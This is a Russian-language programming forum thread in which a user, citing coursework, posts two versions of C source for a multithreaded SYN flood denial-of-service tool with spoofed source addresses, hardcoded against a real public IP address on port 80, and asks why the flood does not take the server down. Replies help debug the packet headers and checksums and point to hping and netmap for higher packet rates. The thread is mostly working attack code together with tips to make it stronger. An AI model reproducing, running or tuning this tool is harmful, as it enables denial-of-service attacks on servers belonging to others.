tikhonov666
@tikhonov666
iOS, Swift, Objective-C

SYN Flood DOS Attack. Как разобраться, что к чему и почему не работает?

Пытаюсь организовать SYN Flood на сервер сугубо в научных целях ( курсач у меня такой)

За основу взял исходники: www.binarytides.com/syn-flood-dos-attack

Добавил многопоточность и подмену IP.

spoiler
/*
    /*
    Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
#include<pthread.h>
#include<stdlib.h> //for exit(0);
#include<time.h>
#define MAXPTHREAD 5
#define PREY_PORT 80
void func(void * arg);
char * getRandStr();
struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;

    struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;

    return(answer);
}

int main (void)
{
    srand(time(NULL));
    pthread_t thread;
    int i,pthreadResult;
    for(i=0;i<MAXPTHREAD; ++i)
    {
        pthreadResult=pthread_create(&thread,NULL,&func,getRandStr());
        if(pthreadResult!=0)
            err_sys("Error pthread: %d",i);
    }
    while(1)
        sleep(10);
    return 0;
}
void func(void * arg)
{
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096] , source_ip[32];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    strcpy(source_ip , (char *)arg);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(PREY_PORT);
    sin.sin_addr.s_addr = inet_addr ("85.113.47.5");

    memset (datagram, 0, 4096); /* zero out the buffer */

    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;

    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);

    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }

    //Uncommend the loop if you want to flood :)
    while (1)
    {
        //Send the packet
        if (
                sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
//        else
//        {
//            printf ("Packet Send \n");
//        }
    }
    return;
}
char * getRandStr()
{
    char  str[32];
    str[0]='\0';
    strcat(str,"192.168.");
    char buffer[16];
    int nextRandom=rand()%256;
    sprintf(buffer,"%d",nextRandom);
    strcat(str,buffer);
    strcat(str,".");
    nextRandom=rand()%256;
    sprintf(buffer,"%d",nextRandom);
    strcat(str,buffer);
    //printf("str return: %s\n",str);
    return str;
}
spoiler
e52363921b7c.png


Дело в том, что когда запускаю программу, то резко возрастает нагрузка на ЦП (всего ведь 5 потоков) и перестаёт отвечать сеть. Проверить, что творится на атакуемом сервере невозможно, да и что-то мне подсказывает, что у него всё хорошо. Что я делаю не так? Как добиться желаемого SYN Flood Attack?

До этого, воздействовал на сервер простым запросом "GET /" в 500+ потоков и всё работало, так же на сервере была ощутима задержка с ответом.
  • Вопрос задан
  • 5833 просмотра
Решения вопроса 2
jcmvbkbc
@jcmvbkbc
"I'm here to consult you" © Dogbert
Какой-то бардак в исходниках:
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));

что за struct ip?
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);

htons?
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

не iph->tot_len >> 1 а sizeof(*iph)

А вообще вы ограничьтесь посылкой одного пакета и посмотрите на него в каком-нибудть tcpdump или wireshark.
Ответ написан
@throughtheether
human after all
Пытаюсь организовать SYN Flood на сервер сугубо в научных целях ( курсач у меня такой)
Что я делаю не так? Как добиться желаемого SYN Flood Attack?
Если вам надо ехать, то используйте hping. Если и шашечки нужны, то посмотрите в исходники этой утилиты.
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 2
tikhonov666
@tikhonov666 Автор вопроса
iOS, Swift, Objective-C
jcmvbkbc
struct ip
spoiler
/*
* Structure of an internet header, naked of options.
*/
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};

htons - функция, которая преобразуют номер порта в бинарный представление.
getRandStr() -да, спасибо. Исправил ошибку.

Получившиеся программа:
spoiler
/*
    Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
#include<pthread.h>
#include<stdlib.h> //for exit(0);
#include<time.h>
#define MAXPTHREAD 8
#define PREY_PORT 80
void * func(void * arg);
char * getRandStr();
struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;

    struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }

    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;

    return(answer);
}

int main (void)
{
    srand(time(NULL));
    pthread_t thread;
    int i,pthreadResult;
    for(i=0;i<MAXPTHREAD; ++i)
    {
        pthreadResult=pthread_create(&thread,NULL,&func,getRandStr());
        if(pthreadResult!=0)
            err_sys("Error pthread: %d",i);
    }
    while(1)
        sleep(10);
    return 0;
}
void * func(void * arg)
{
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    char datagram[4096] , source_ip[32];
    struct iphdr *iph = (struct iphdr *) datagram;
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
    arg=(char *)arg;
    strcpy(source_ip , arg);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(PREY_PORT);
    sin.sin_addr.s_addr = inet_addr ("85.113.47.5");

    memset (datagram, 0, 4096); /* zero out the buffer */

    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 92; /// !!!!
    iph->tot_len = 576; /// sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = 1888; ///  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;

    iph->check = csum ((unsigned short *) datagram, sizeof(*iph));/// iph->tot_len >> 1);

    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);

    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }
    char * temp;
    while (1)
    {
        temp=getRandStr();
        iph->saddr = inet_addr ( temp );    //Spoof the source ip address
        sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin));// < 0)       /* a normal send() */
        free(temp);
    }

    return;
}
char * getRandStr()
{
    char * str=(char *)malloc(32+1);
    if(str==NULL)
    {
        printf("Not enough memory for \"malloc\"\n");
        exit(1);
    }
    str[0]='\0';
    strcat(str,"85.114.");
    char buffer[16];
    int nextRandom=rand()%256;
    sprintf(buffer,"%d",nextRandom);
    strcat(str,buffer);
    strcat(str,".");
    nextRandom=rand()%256;
    sprintf(buffer,"%d",nextRandom);
    strcat(str,buffer);
    return str;
}

Поставил wireshark, тестил на нём. Покеты SYN приходят в большом количестве и от разных IP. И вроде бы всё хорошо.
Когда непосредственно отправляю серверу, то результата нет. Запускаю на 7 потоках. Процессы загружены на ~100%, так что даже через браузер и через пинг не получается обратиться к серверу. После закрытия программы, быстро захожу на сайт, а ему хоть бы что.

throughtheether
Я Вас не совсем понял. Куда ехать и какие шашечки? Это юмор такой?) Быть может я не догоняю, т.к. начал заниматься этой темой 2 недели назад.
Идеи пока в голову не приходят, пойду разбираться с hping.

[UPDATE]
Получил отлично :)
Ответ написан
@AntiDDoSexpert
на не модифицированном ядре у вас врядле получится битрейт более 150-200 pps , если надо больше то юзайте фреймворк netmap он правда нормально работает только под freebsd но все же он может отправлять пакеты на скорости интерфейса не загружая при этом проц .
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы